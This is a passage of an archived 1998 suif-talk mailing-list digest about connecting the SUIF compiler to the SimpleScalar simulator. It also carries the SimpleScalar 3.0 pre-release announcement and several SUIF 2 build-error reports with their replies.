-0500 Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Benjamin Greenwald Is there any particular reason you can't use s2c and then the supplied SimpleScalar gcc? -Ben > Is anyone currently working to port SUIF to a SimpleScalar Tools > simulator? Any info or guidance would be appreciated. Thanks. > > ---------------------------------------------------------------------- > * Bill Hotle, Clemson University Computer Science Dept. E-Mail * > * - hotlewp@cs.clemson.edu , Home - whotle@aol.com Web Page - * > * www.clemson.edu/~whotle Office - G-17 Jordan Hall Phone 656-2841 * > >From owner-suif-talk Fri Nov 13 14:04:14 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id OAA04861 for suif-talk-doit; Fri, 13 Nov 1998 14:03:57 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from dip.eecs.umich.edu (vlaovic@dip.eecs.umich.edu [141.212.99.5]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id OAA04857 for ; Fri, 13 Nov 1998 14:03:55 -0800 (PST) Received: from localhost (vlaovic@localhost) by dip.eecs.umich.edu (8.9.1/8.9.0) with ESMTP id RAA14168; Fri, 13 Nov 1998 17:03:55 -0500 (EST) Date: Fri, 13 Nov 1998 17:03:55 -0500 (EST) From: Stevan Vlaovic To: Hotle William P cc: SUIF Talk mailing list Subject: FW: SimpleScalar version 3.0 pre-release available (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Stevan Vlaovic Yes, see Todd Austin's comments below...... Any questions feel free to ask. -stevan On Fri, 13 Nov 1998, Hotle William P wrote: > Is anyone currently working to port SUIF to a SimpleScalar Tools > simulator? > Any info or guidance would be appreciated. > Thanks. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > -----Original Message----- > From: Austin, Todd > Sent: Friday, November 13, 1998 1:54 PM > To: Vlaovic, Steven > Cc: Austin, Todd > Subject: FW: SimpleScalar version 3.0 pre-release available (fwd) > > Here's the SimpleScalar 3.0 pre-release announcement, 3.0 will run > Alpha OSF binaries, so this should work fine with the Alpha back-end > of SUIF. Don't be put off because this is a pre-release, the code > is very stable, at this point were simply putting the finishing > touches on the 3.0 release documentation. -Todd > > -- > %% Todd Austin, taustin@ichips.intel.com, http://www.cse.ogi.edu/~taustin/ > %% MicroComputer Research Labs, Intel Corporation, Hillsboro, Oregon > %% Opinions expressed are solely my own. Not an Intel spokesperson. > > -----Original Message----- > From: Todd Austin [mailto:taustin@cse.ogi.edu] > Sent: Monday, October 12, 1998 10:59 AM > To: Austin, Todd > Subject: SimpleScalar version 3.0 pre-release available (fwd) > > > Forwarded message: > >From taustin@cse.ogi.edu Wed Sep 2 22:47:12 1998 > From: Todd Austin > Message-Id: <199809030532.WAA27651@church.cse.ogi.edu> > Subject: SimpleScalar version 3.0 pre-release available > To: simplescalar@cs.wisc.edu, architecture@cs.wisc.edu, > calder@cs.ucsd.edu, > glenn.reinman@intel.com, grunwald@cs.colorado.edu, > tyson@eecs.umich.edu > Date: Wed, 2 Sep 1998 22:32:36 -0700 (PDT) > Cc: taustin@ichips.intel.com, taustin@cse.ogi.edu, dburger@cs.wisc.edu, > sohi@cs.wisc.edu > X-Mailer: ELM [version 2.4 PL24] > MIME-Version: 1.0 > Content-Type: text/plain; charset=US-ASCII > Content-Transfer-Encoding: 7bit > > Greetings, a pre-release of SimpleScalar release 3.0 is now available. > We've completed implementation and started our internal regression > testing, > and now we need current users to start testing this code. In particular, > we would really appreciate: > > 1) bug reports and/or bug fixes > 2) fixes and/or testing results on platforms not listed below > 3) comments/suggestions regarding this release in general > > We will be making another pre-release in about a month, which will > incorporate all implemented fixes and enhancement finished at that time > (plus some more documentation that is still cooking...). Later this year > we will make a release to the general public. > > NOTE: this pre-release includes only the simulator distribution, the > compiler chain from the previous release may be used to generate > binaries that run on the new simulators (release 2.0 is available from > from the SimpleScalar home page: > > http://www.cs.wisc.edu/~mscalar/simplescalar.html > > To assist in your testing, we've included SimpleScalar PISA and Alpha > OSF Unix test binaries in the simulator distribution. > > To get the pre-release, point your browser at the directory: > > http://www.cs.wisc.edu/~austin/simple/ > > and get the file: > > simplesim-3.0a.tar.gz > > Then unpack this in a directory you've made and read the README in the > ""simplesim-3.0/"" directory for installation, usage, and testing > instructions. > > We hope you find this release useful, please send > comments/fixes/suggestions > to taustin@cse.ogi.edu or simplescalar@cs.wisc.edu. Enjoy! > > Regards, -Todd > > p.s. a draft of the 3.0 release announcement is attached... > > p.p.s. check out the section ""WHAT'S NEW IN RELEASE 3.0"" below to see > the goods... > > -- ANNOUNCE -- > > Greetings, Todd Austin, Doug Burger, and the UW-Madison Multiscalar > project > are pleased to announce the availability of the third major release of the > SimpleScalar Architectural Research Tool Set. It is our hope that > computer > architecture researchers and educators will find this release of value. > We > welcome your feedback, Enjoy!! > > > WHAT IS THE SIMPLESCALAR TOOL SET? > > The SimpleScalar Tool Set consists of compiler, assembler, linker and > simulation tools for the SimpleScalar PISA and Alpha AXP architectures. > With this tool set, the user can simulate real programs on a range of > modern processors and systems, using fast execution-driven simulation. > The > tool set contains many simulators ranging from a fast functional simulator > to a detailed out-of-order issue processor with a multi-level memory > system. The tool set provides researchers and educators with an easily > extensible, portable, high-performance test bed for systems design or > instruction. > > The SimpleScalar PISA (Portable ISA) instruction set is an extension of > Hennessy and Patterson's DLX instruction set, including also a number of > instructions and addressing modes from the MIPS-IV and RS/6000 > instruction set definitions. SimpleScalar PISA instructions employ a > 64-bit encoding to facilitate instruction set research, e.g., it's > possible to synthesize instructions or annotate existing instructions, > or vary the number of registers a program uses. The Alpha AXP > architecture is a RISC instruction set developed by DEC. > > The SimpleScalar simulator suite includes a wide range of simulation tools > ranging from simple functional (instruction only, no timing) simulators to > detailed performance (instruction plus timing) simulators. The following > simulators are included in this release: > > sim-fast -> a very fast functional (i.e., no timing) > simulator > sim-safe -> the minimal functional SimpleScalar simulator > sim-profile -> a program profiling simulator > sim-cache -> a multi-level cache simulator > sim-cheetah -> a single-pass multi-configuration cache simulator > sim-bpred -> a branch predictor simulator > sim-outorder -> a detailed out-of-order issue performance > (timing) > simulator with a multi-level memory system > > All the simulators in the SimpleScalar tools set are execution-driven, as > a > result, there is no need to generate, store, or read instruction trace > files > since all instructions streams are generated on the fly. In addition, > execution-driven simulation is an invaluable tool for modeling control and > data > mis-speculation in the performance simulators. > > > WHY WOULD I WANT TO USE THE SIMPLESCALAR TOOL SET? > > The SimpleScalar Tool Set has many powerful features, here's the short > list: > > - it's free and all sources are included > - it's extensible (because it includes all sources and extensive > docs) > - it's portable (it run on most any unix-like host including WinNT) > - it's fast (on a P6-200, function simulation -> 4+ MIPS, and > detailed > out-of-order performance simulation with a multi-level memory > system and mispeculation modeling cruises at 150+ KIPS) > - it's detailed (a whole family of simulators are included) > > > WHY WOULD I NOT WANT TO USE THE SIMPLESCALAR TOOL SET? > > - it doesn't execute the instruction set I'm interested in: > currently > SimpleScalar only supports the SimpleScalar PISA and Alpha AXP > instruction set architectures (an iA32 version is available inside > Intel only, contact taustin@ichips.intel.com for details) > - it doesn't support parallel system simulation: currently > SimpleScalar is primarily a uniprocessor simulation environment; > and although work is ongoing to add MP support, other simulation > environments may be more appropriate for your work (e.g., RSIM > from Rice or SimOS from Stanford both support MP simulation) > - it doesn't support system simulation: currently SimpleScalar > only supports simulation of the user-level instructions, any > execution within the operation system is not simulated, instead > the SimpleScalar simulators execute the system-level instruction > on behalf of the simulated program, other simulation environments > support system simulation, such as SimOS from Stanford > > > HOW DO I GET IT? > > The tool set is available from the University of Wisconsin, to access > the SimpleScalar Home Page, point your browser at: > > http://www.cs.wisc.edu/~mscalar/simplescalar.html > > The complete release is available via anonymous FTP at: > > ftp://ftp.cs.wisc.edu/pub/Sohi/Code/simplescalar > > > WHO WROTE THE SIMPLESCALAR TOOL SET? > > The SimpleScalar tool set simulators and GNU compiler ports were written > by > Todd Austin. The tool set is currently supported by Doug Burger (who > wrote > much of the documentation as well) and Todd Austin. The development of > this > code was supported by grants from the National Science Foundation (grant > CCR-9303030 plus software capitalization supplement) and the Office of > Naval > Research (grant N00014-93-1-0465). The GNU compiler chain was written by > the > Free Software Foundation. > > > ON WHICH PLATFORMS DOES IT RUN? > > SimpleScalar should port easily to any 32- or 64-bit flavor of UNIX or > Windows NT, particularly those that support POSIX-compliant system > calls. The list of tested platforms are: > > gcc/AIX413/RS6k > xlc/AIX413/RS6k > gcc/FreeBSD3.0/x86 > gcc/HPUX/PA-RISC > c89/HPUX/PA-RISC > gcc/SunOS413/SPARC > gcc/Solaris2/SPARC > gcc/Solaris2/x86 > gcc/Linux/x86 > gcc/Linux/Alpha > gcc/DECOSFUnix/Alpha > cc/DECOSFUnix/Alpha > gcc/CygWin32-WinNT/x86 > VC++/WinNT/x86 > > > HOW CAN I KEEP INFORMED AS TO NEW RELEASES AND ANNOUNCEMENTS? > > We have set up a SimpleScalar mailing list. To subscribe, send e-mail to > majordomo@cs.wisc.edu, with the message body (not the subject header) > containing ""subscribe simplescalar"". Also, watch the SimpleScalar web > page at: > > http://www.cs.wisc.edu/~mscalar/simplescalar.html > > > WHAT'S NEW IN RELEASE 3.0: > > Lots! Here's a list of the major new features... > > * SimpleScalar now executes multiple instruction sets: SimpleScalar > PISA (Portable ISA, the old ""SimpleScalar ISA"") and Alpha AXP. > All simulators and options (e.g., DLite!) are supported for both > instruction sets. See README for details on compiling binaries > and configuring the simulators. See README.retarget for details > on how to retarget the SimpleScalar tool set to another > instruction set. As always, the SimpleScalar/PISA tools will > build on any supported platform. The SimpleScalar/Alpha tools > will build on any little-endian host with 64-bit integers (either > in hardware or via the compiler), the SimpleScalar/Alpha tools are > known to be stable on Alpha OSF Unix and Linux/x86 hosts. > > * All simulators now support external I/O traces (EIO traces). > Generated with a new simulator (sim-eio), EIO traces capture > initial program state and all subsequent external interactions a > program has with the operating system. Using this external I/O > trace, any SimpleScalar simulator can re-execute the same > execution using only the EIO file; no options, binaries, files, > system calls, etc, are needed to re-create the same execution. > All other aspects of the execution is identical, i.e., the same > functional simulation is performed, either non-speculative or > otherwise. See the file README.eio for usage details. EIO traces > solve a number of perennial problems associated with functional > simulation: > > - EIO trace executions are 100% reproducible, since the sources > of irreproducibility (i.e., external interactions such as > reading a date from the OS) are captured in the EIO trace > file; it is now possible to run simulations from EIO traces, > even with mis-speculation modeling, and get *exactly* the same > results ever time! > > - EIO trace files provide a convenient method to execute > interactive programs in batch mode; programs that read any > number of files, user input, or output including network I/O > will read this I/O from a single EIO trace file. > > - EIO trace files are extremely portable, any host that will > build SimpleScalar can execute any EIO trace even if the host > only has minimal minimal system call support, e.g., Windows > NT. This is because system calls are not performed with EIO > traces, all external interactions are read from the EIO trace > file, which only requires that only simple file I/O be > performed by the simulator. > > In addition, EIO traces provide a convenient means for packaging > up an experiment into a single file. Within the EIO trace file > are the options, user environment, file accesses, network I/O, > etc. used to create the original experiment. Moreover, EIO > traces also capture the output of a program, e.g., writes, network > output, etc. The simulators check any output attempted against > that recorded in the EIO trace file, making EIO trace files > self-validating. An EIO trace file may be compressed with GZIP or > compress, the SimpleScalar simulators will automagically > decompress them on the fly, as long as the simulator can locate > your GZIP binary. > > * The simulators now compile ""out of the box"" on many more platforms > (listed above); in addition, you should be able to get > SimpleScalar up and running with minimal effort on any target with > 32- or 64-bit integers, IEEE FP, and POSIX-like system calls. See > README.port for details on how to port the SimpleScalar tool set > to a new host environment. In addition, SimpleScalar now builds > on Windows NT with either MS VC++ or Cygnus/Win32 tools. See > README.winnt for caveats regarding the Windows NT ports. > > > And here's a list of other sundry enhancements we've made since the > SimpleScalar 2.0 release: > > Enhancements to the foundation modules: > > * the EXO persistent data structure library has been incorporated > into SimpleScalar release 2.1; this library is used by the EIO > trace module; it implements extensive collection of scalar and > container data structures with run-time typing; once constructed > EXO data structures can be automagically written to and read from > file streams with a single function call, the EXO library handles > all the gory details of interning and externing the data > structures from/to ASCII form, generally useful code if you hate > to use scanf() and printf() for saving and restoring arbitrary > data structures; see ""libexo/libexo.h"" for details... > > * added explicit fault support to functional simulation component > and memory module > > * memory module updated to support 64/32-bit address spaces on > 64/32-bit machines, now implemented with a dynamically optimized > hashed page table > > * added support for multiple register and memory contexts > > * improved loader error messages, e.g., loading Alpha binaries on > PISA-configured simulator (or vice versa) indicates specifically > what happened > > * added portable myprintf() and myatoq() routines for printing and > reading quadword's, respectively; works on machines without hardware > quadword data types > > * added gzopen() and gzclose() routines for reading and writing > compressed files, updated sysprobe to search for GZIP, if found > support is enabled > > * F_IMM (immediate field used by instruction) flag to machine.def > flags > > * ""contrib/"" directory contains various enhancements that > (unfortunately) > I did not get time to include into the mainline release - there's a > lot of gold to mine in that directory, check it out! > > * BITMAP_COUNT_ONES() added to bitmap.h > > * added register pretty printing routines to machine.[hc] > > > New simulator options/statistics: > > * added option ""-max:inst"" to limit number of instructions analyzed > > * added simulator and program output redirection (via ""-redir:sim"" > and ""redir:prog"" options, respectively) > > * added ""-nice"" option that resets simulator scheduling priority to > specified level > > * all simulators now emit command line used to invoke them > > * added fast forward option (""-fastfwd"") to sim-outorder that skips a > specified number of instructions (using functional simulation) > before starting timing simulation > > * explicit BTB sizing option added to branch predictors, use ""-btb"" > option to configure BTB > > * branch predictor updates in sim-outorder can now optionally occur > in ID, WB, or CT, user selectable via the ""-bpred:spec_update"" > option > > * return address stack (RAS) performance stats improved > > * added queue statistics for IFQ, RUU, and LSQ; all terms of > Little's law are measured and reported; the fraction of cycles in > which queue is full is also measured > > * added control registers display command ""cregs"" to DLite! > > * added ""-t"" option on sysprobe that probes sizes of various C data > types > > * new smaller cleaner minimal functional simulator skeleton > > > Performance enhancements: > > * added support for fast shifts if host machine can successfully > implement them, sysprobe tests if fast shifts work and then sets > -DFAST_SRA and -DFAST_SRL accordingly; this also fixes shifts when > the high order bit is set for some machines; define -DSLOW_SHIFTS > to disable this feature > > * branch predictor module's L2 index computation is more > ""compatible"" to McFarling's version of it, i.e., if the PC xor > address component is only part of the index, take the lower order > address bits for the other part of the index, rather than the > higher order ones > > * sim-fast now autodetects GNU GCC jump table support and enables > USE_JUMP_TABLE > > * sim-outorder speculative loads no longer allocate memory pages, > this significantly reduces memory requirements for programs with > lots of mispeculation (e.g., cc1) > > * speculative fault handling simplified > > * instruction pre-decoding added to loader module for > SimpleScalar/PISA, > added to sim-fast for SimpleScalar/Alpha > > > Portability enhancements: > > * reorganized instruction semantics definitions; now using > name-mangled macros, this approach is very portable (it even works > on MS VC++) and it allows C statements to portably implement > instruction semantics > > * reorganized Makefile: it now works with MS VC++ NMAKE, and many > host configurations are supplied in the header; added target > configuration support; converted ""sim-tests"" target to use > ""-redir:sim"" and ""-redir:prog"" options, this eliminates the need > for the non-portable ""redir"" scripts > > * implemented a more portable random() interface > > * added support for MS VC++ compilation on Windows NT > > > And here's a list of fixes we've made since the SimpleScalar 2.0 release: > > * LWL/LWR/SWL/SWR semantics fixed in pisa.def, these instruction now > work correctly on big- and little-endian machines, this fixes all > previous problems with IJPEG failing during functional simulation > > * fixed a BFD/non-BFD loader problem where tail padding in the text > segment was not correctly allocated in simulator memory; when > padding region happened to cross a page boundary the final text > page has a NULL pointer in mem_table, resulting in a SEGV when > trying to access it in instruction pre-decoding > > * sim-outorder speculative memory access functions now return a > deterministic value (0) when accessing bogus address/alignment; > mis-speculation modeling should now be 100% deterministic with > EIO traces > > * fixed speculative quadword store bug (missing most significant word) > > * disabled calls to sbrk() under malloc(), this breaks some > malloc() implementation (e.g., newer Linux releases) > > * sim-outorder perfect branch predictor was reseting IFQ head > incorrectly (improves sim performance) > > * sim-outorder now really does limit issue width (was always infinite) > > * sim-outorder and sim-cache gave broken error messages if invalid IL2 > params were specified > > * instruction address compression (64->32 bit) added to sim-cache > > * BITMAP_NOT() fixed > > * return address stack (RAS) update bug fixed (improves pred perf) > > * fixed a cache timing bug that caused some incorrect and *huge* miss > latencies around 2 billion cycles; fixes occasional deadlock > problems > in vortex > > * fixed cache writeback stats for cache flushes > > * fixed DLite! ""help"" command for invalid commands > > * options package fixes: on/off supported for booleans, relative > pathnames, negative integers are now parsed correctly > > * -max:inst is limited to 2147483647 for sim-cheetah due to integer > overflow problems in libcheetah (to be fixed...) > > * sim-outorder now computes correct result when a non-speculative > register operand is also defined speculative within the same inst > > * Perl scripts now work with Perl 5.0 > > > Please send up your comments regarding this tool set, we are continually > trying to improve it and we appreciate your input. > > Best Regards, > > Todd Austin (taustin@cse.ogi.edu), Intel Microcomputer Research Labs > Doug Burger (dburger@cs.wisc.edu), UW-Madison Computer Sciences Department >From owner-suif-talk Fri Nov 13 14:30:12 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id OAA04923 for suif-talk-doit; Fri, 13 Nov 1998 14:30:10 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from cecil.cs.wisc.edu (cecil.cs.wisc.edu [128.105.175.17]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id OAA04919 for ; Fri, 13 Nov 1998 14:30:08 -0800 (PST) Received: (from plakal@localhost) by cecil.cs.wisc.edu (8.8.6/8.8.6) id QAA01324; Fri, 13 Nov 1998 16:30:17 -0600 (CST) Message-ID: <19981113163017.A1315@cs.wisc.edu> Date: Fri, 13 Nov 1998 16:30:17 -0600 From: Manoj Plakal To: Benjamin Greenwald , Hotle William P Cc: SUIF Talk mailing list Subject: Re: SUIF to simplescalar tools Mail-Followup-To: Benjamin Greenwald , Hotle William P , SUIF Talk mailing list References: <199811132140.QAA18906@miris.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811132140.QAA18906@miris.lcs.mit.edu>; from Benjamin Greenwald on Fri, Nov 13, 1998 at 04:40:52PM -0500 Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Manoj Plakal Benjamin Greenwald wrote (Fri, Nov 13, 1998 at 04:40:52PM -0500) : > Is there any particular reason you can't use s2c and then the supplied > SimpleScalar gcc? > > -Ben > > > Is anyone currently working to port SUIF to a SimpleScalar Tools > > simulator? Any info or guidance would be appreciated. Thanks. > > Vanilla SUIF does not really do too many uniprocessor-oriented optimizations. What we probably want is a Harvard Machine-SUIF (MachSUIF) back-end that targets SimpleScalar. At the recent PLDI conference, there was a National Compiler Infrastructure tutorial and in the SUIF2 section, Mike Smith talked about the next generation of MachSUIF which would hook up with SUIF2. I asked him about how long it would take to port it to SimpleScalar and he said that given SimpleScalar's MIPS-like ISA, it would take of the order of days (and not weeks or months). Though, I don't know if anyone has done it yet :). Manoj >From owner-suif-talk Sun Nov 15 08:51:11 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id IAA08490 for suif-talk-doit; Sun, 15 Nov 1998 08:49:59 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from desh.cse.iitd.ernet.in (cse.iitd.ernet.in [202.141.68.3]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id IAA08486 for ; Sun, 15 Nov 1998 08:49:33 -0800 (PST) Received: from ssen.cse.iitd.ernet.in (shashank@ssen.cse.iitd.ernet.in [10.20.2.26]) by desh.cse.iitd.ernet.in (8.8.7/8.8.7) with ESMTP id WAA29628 for ; Sun, 15 Nov 1998 22:19:42 +0530 Received: from localhost (shashank@localhost) by ssen.cse.iitd.ernet.in (8.8.7/8.8.7) with SMTP id WAA00589 for ; Sun, 15 Nov 1998 22:19:46 +0530 Date: Sun, 15 Nov 1998 22:19:46 +0530 (IST) From: Shashank Gupta To: suif-talk@corsica.Stanford.EDU Subject: problems : suif 2 on hp-ux Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Shashank Gupta hi, i am trying to install basesuif-2.0.0.alpha.784 on HP-UX 10.10. i am using egcs1.1b (gcc version - egcs-2.91.57). the installation of the ""sty"" fails with the following message. can anyone please advice what i should do ? thanks in advance, shashank. --------------------------------------------------------------------- g++ -g -pedantic -Wchar-subscripts -Wcomment -Wformat -Wimplicit -Wreturn-type -Wswitch -Wtrigraphs -Wreorder -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DINLINE_ALL_TEMPLATES -DSUIF_STRIPPED_HEADERS -I/usr4/tools/suif/basesuif-2.0.0.alpha.784/include -c parse_command_line.cc -o parse_command_line.o cc1plus: warning: -g is only supported when using GAS on this processor, cc1plus: warning: -g option disabled. as: error 7108: The value 0x42c4c did not fit into a 19 bit field at offset 0x50f8 (op code - BL) (7108) gmake[5]: *** [parse_command_line.o] Error 1 gmake[4]: *** [parse_command_line.o] Error 2 gmake[3]: *** [real-reinstall-keep-src] Error 2 gmake[2]: *** [real-reinstall] Error 2 gmake[1]: *** [reinstall] Error 2 gmake: *** [install] Error 2 ------------------------------------------- Shashank Gupta Project Associate, Embedded Systems Project, Deptt. of Comp.Sc.& Engg., IIT Delhi. >From owner-suif-talk Sun Nov 15 08:59:36 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id IAA08535 for suif-talk-doit; Sun, 15 Nov 1998 08:59:34 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from desh.cse.iitd.ernet.in (cse.iitd.ernet.in [202.141.68.3]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id IAA08531 for ; Sun, 15 Nov 1998 08:59:29 -0800 (PST) Received: from ssen.cse.iitd.ernet.in (shashank@ssen.cse.iitd.ernet.in [10.20.2.26]) by desh.cse.iitd.ernet.in (8.8.7/8.8.7) with ESMTP id WAA29733 for ; Sun, 15 Nov 1998 22:30:07 +0530 Received: from localhost (shashank@localhost) by ssen.cse.iitd.ernet.in (8.8.7/8.8.7) with SMTP id WAA00617 for ; Sun, 15 Nov 1998 22:30:13 +0530 Date: Sun, 15 Nov 1998 22:30:12 +0530 (IST) From: Shashank Gupta To: suif-talk@corsica.Stanford.EDU Subject: suif 2 on linux Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Shashank Gupta Hi, when installing suif 2 on pentium with linux using egcs1.1b, the package ""suif"" aborts with the following message. the total mem + swap space on the machine is around 196 MB. does anyone have an experience regarding the space requirements of suif 2 ? thanks, shashank. ----------------------- /usr/bin/ld: Can not allocate 1000 bytes after allocating 102543420 bytes collect2: ld returned 1 exit status gmake[7]: *** [libsuif.so] Error 1 gmake[6]: *** [libsuif.so] Error 2 gmake[5]: *** [real-reinstall-keep-src] Error 2 gmake[4]: *** [reinstall-keep-src] Error 2 gmake[3]: *** [install-keep-src] Error 2 ------------------------------------------- Shashank Gupta Project Associate, Embedded Systems Project, Deptt. of Comp.Sc.& Engg., IIT Delhi. >From owner-suif-talk Sun Nov 22 07:06:58 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id HAA14893 for suif-talk-doit; Sun, 22 Nov 1998 07:04:25 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from desh.cse.iitd.ernet.in (cse.iitd.ernet.in [202.141.68.3]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id HAA14889 for ; Sun, 22 Nov 1998 07:03:57 -0800 (PST) Received: from ssen.cse.iitd.ernet.in (shashank@ssen.cse.iitd.ernet.in [10.20.2.26]) by desh.cse.iitd.ernet.in (8.8.7/8.8.7) with ESMTP id UAA09444 for ; Sun, 22 Nov 1998 20:34:02 +0530 Received: from localhost (shashank@localhost) by ssen.cse.iitd.ernet.in (8.8.7/8.8.7) with SMTP id UAA01181 for ; Sun, 22 Nov 1998 20:35:13 +0530 Date: Sun, 22 Nov 1998 20:35:13 +0530 (IST) From: Shashank Gupta To: SUIF Talk mailing list Subject: suif 2 installation on linux In-Reply-To: <19981113163017.A1315@cs.wisc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Shashank Gupta hello, i am currently trying to install suif2 with egcs1.1b on linux (pentium). in the tv package, i get the following eror - -------------------------------------------------------------------- tv_exprset.h: In method `void tv_rc_exprset::make_modifiable()': In file included from tv_exprset.cc:31: tv_exprset.h:260: use of class template `template tv_exprset' as expression gmake[7]: *** [tv_exprset.o] Error 1 gmake[6]: *** [tv_exprset.o] Error 2 gmake[5]: *** [real-reinstall-keep-src] Error 2 gmake[4]: *** [reinstall-keep-src] Error 2 gmake[3]: *** [install-keep-src] Error 2 gmake[3]: Nothing to be done for `install-verdata'. -------------------------------------------------------------------- The line under question in the file tv_exprset.h (260) is tv_exprset &old_exprset = _block->exprset(); What can be done. Any help will be appreciated, thanks, shashank ------------------------------------------- Shashank Gupta Project Associate, Embedded Systems Project, Deptt. of Comp.Sc.& Engg., IIT Delhi. >From owner-suif-talk Sun Nov 22 10:15:35 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id KAA15102 for suif-talk-doit; Sun, 22 Nov 1998 10:14:15 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id KAA15098 for ; Sun, 22 Nov 1998 10:14:14 -0800 (PST) Received: from gigue.eas.harvard.edu (gigue.eas.harvard.edu [140.247.51.194]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id NAA22339; Sun, 22 Nov 1998 13:14:02 -0500 (EST) Received: (from holloway@localhost) by gigue.eas.harvard.edu (8.9.1/8.9.1) id NAA20812; Sun, 22 Nov 1998 13:14:02 -0500 (EST) From: Glenn Holloway MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13912.21609.745868.509731@gigue.eas.harvard.edu> Date: Sun, 22 Nov 1998 13:14:01 -0500 (EST) To: suif-talk@corsica.Stanford.EDU CC: Shashank Gupta Subject: Re: suif 2 installation on linux In-Reply-To: References: <19981113163017.A1315@cs.wisc.edu> X-Mailer: VM 6.46 under Emacs 19.34.1 Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Glenn Holloway Shashank Gupta writes: > > hello, > > i am currently trying to install suif2 with egcs1.1b on linux (pentium). > in the tv package, i get the following eror - > > -------------------------------------------------------------------- > tv_exprset.h: In method `void tv_rc_exprset::make_modifiable()': > In file included from tv_exprset.cc:31: > tv_exprset.h:260: use of class template `template > tv_exprset' as expression > gmake[7]: *** [tv_exprset.o] Error 1 > gmake[6]: *** [tv_exprset.o] Error 2 > gmake[5]: *** [real-reinstall-keep-src] Error 2 > gmake[4]: *** [reinstall-keep-src] Error 2 > gmake[3]: *** [install-keep-src] Error 2 > gmake[3]: Nothing to be done for `install-verdata'. > -------------------------------------------------------------------- > > The line under question in the file tv_exprset.h (260) is > > tv_exprset &old_exprset = _block->exprset(); > > > What can be done. Any help will be appreciated, > > thanks, > shashank > > ------------------------------------------- > Shashank Gupta > Project Associate, Embedded Systems Project, > Deptt. of Comp.Sc.& Engg., IIT Delhi. David Heine of Stanford pointed out to me the other day that the line in question should read: tv_exprset &old_exprset = _block->exprset(); Glenn >From owner-suif-talk Wed Nov 25 20:44:09 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id UAA25200 for suif-talk-doit; Wed, 25 Nov 1998 20:43:01 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from grm94.polymtl.ca (jtalon.grm94.polymtl.ca [132.207.108.4]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id UAA25196 for ; Wed, 25 Nov 1998 20:42:59 -0800 (PST) Received: from bourassa.grm94 (bourassa [132.207.108.9]) by grm94.polymtl.ca (8.9.1a/8.9.1) with SMTP id XAA00318 for ; Wed, 25 Nov 1998 23:42:14 -0500 (EST) Received: by bourassa.grm94 (SMI-8.6/SMI-SVR4) id XAA10165; Wed, 25 Nov 1998 23:42:11 -0500 Date: Wed, 25 Nov 1998 23:42:11 -0500 From: doucet@grm94.polymtl.ca (Frederic Doucet) Message-Id: <199811260442.XAA10165@bourassa.grm94> To: suif-talk@corsica.Stanford.EDU Subject: CFGs in Suif2 X-Sun-Charset: US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: doucet@grm94.polymtl.ca (Frederic Doucet) Hello, This question is for Suif 2 alpha 784. According to the Introductory Manual by Holger M. Kienle, a chunk of executable code can be represented either as a cfg, instruction_list or a statement_list. In the document, it is said that Suif provides conversion passes that transform between any of the cfo representation. I've looked in the documentation and in the src/basesuif hierarchy, and haven't found these passes. Could anybody point me to the right file (or submodule) for cfg related conversions and analysis? Regards, Frederic Doucet -- (three weeks from B. Eng CE) Ecole Polytechnique de Montreal, Montreal, Qc Canada >From owner-suif-talk Thu Nov 26 05:30:05 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id FAA26237 for suif-talk-doit; Thu, 26 Nov 1998 05:29:15 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from ifi.informatik.uni-stuttgart.de (ifi.informatik.uni-stuttgart.de [129.69.211.1]) by 